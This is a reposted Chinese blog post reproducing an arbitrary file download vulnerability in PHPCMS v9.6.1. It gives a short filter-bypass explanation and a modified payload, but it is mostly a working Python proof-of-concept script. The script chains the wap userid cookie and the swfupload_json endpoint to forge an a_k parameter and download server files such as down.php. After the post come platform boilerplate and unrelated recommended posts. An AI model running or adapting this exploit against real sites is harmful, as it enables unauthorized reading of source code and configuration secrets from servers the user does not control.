[转载复现]phpcms9.6.1任意文件下载漏洞

  • v9.6.1修复了9.6.0的注入和上传漏洞。
    不过在修复的时候检验变量出现问题,该漏洞仅存在于v9.6.1

  • 漏洞的分析及修补方案在安全客

  • 参数过滤 过程

swfupload_json -> safe_replace($_GET['src'])//f=p%3%252%270c -> down->init()
->safe_replace($a_k)//f=p%3%20C -> down->dawnload ->safe_replace($a_k) //f=p%3C
  • 将9.6.0的payload改成s=./phpcms/modules/content/down.ph&f=p%3%25252%2*70C即可
#POC
#coding:utf-8
import requests
import re
url = 'http://192.168.42.133/phpcms/install_package/index.php'
s = requests.session()
params_get_userid = {
    'm':'wap',
    'c':'index',
    'siteid':'1',
}
rep = s.get(url,params=params_get_userid)
for cookie in rep.cookies:
    if '_siteid' in cookie.name:
        userid = cookie.value #userid为第一次加密的$this->userid
payload = '%26i%3D1%26m%3D1%26d%3D1%26modelid%3D2%26catid%3D6%26s%3D./phpcms/modules/content/down.ph&f=p%3%25252%2*70C' 
url_get_encode = '{}?m=attachment&c=attachments&a=swfupload_json&aid=1&src={}'.format(url,payload)
data = {'userid_flash':userid}
rep = s.post(url_get_encode,data=data)
for cookie in rep.cookies:
    if '_att_json' in cookie.name:
        encode_payload = cookie.value
    
params = {
    'm':'content',
    'c':'down',
    'a_k':encode_payload,
}
rep = s.get(url,params=params)
content = rep.content#此时已经有下载链接了
file = re.findall(r'<a href="(.+?)"',content)[0]
print s.get(url+file).content
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 任意文件下载漏洞和9.6.0的wap模块sql注入在同一个文件触发点在download函数phpcms/modul...
    CMDY10086阅读 984评论 0 0
  • 0x01 漏洞分析 首先本次漏洞的问题函数不在于某一处函数或者语句,而是在与多方面的因素共同作用,最终可以进行绕过...
    Pino_HD阅读 9,780评论 0 4
  • 如果你看完书中的所有例子,你很可能已经做完你的实验和在已经越狱的iPhone上的研究。因为和许多人一样,几乎所有的...
    fishmai0阅读 16,505评论 2 42
  • 90年代的小学课,大都枯燥无味,但是自然课是一个例外,因为自然课老师经常会带我们做一些小游戏,对于爱玩的小朋友而言...
    戚歌阅读 263评论 1 1
  • 在儿童医院附近的麦当劳,爷爷奶奶带着孙子和拍片的袋子。老两口一边啃着包子一边从兜里掏钱,孙子要吃小孩套餐。然后争议...
    f714e1bda5e2阅读 162评论 0 0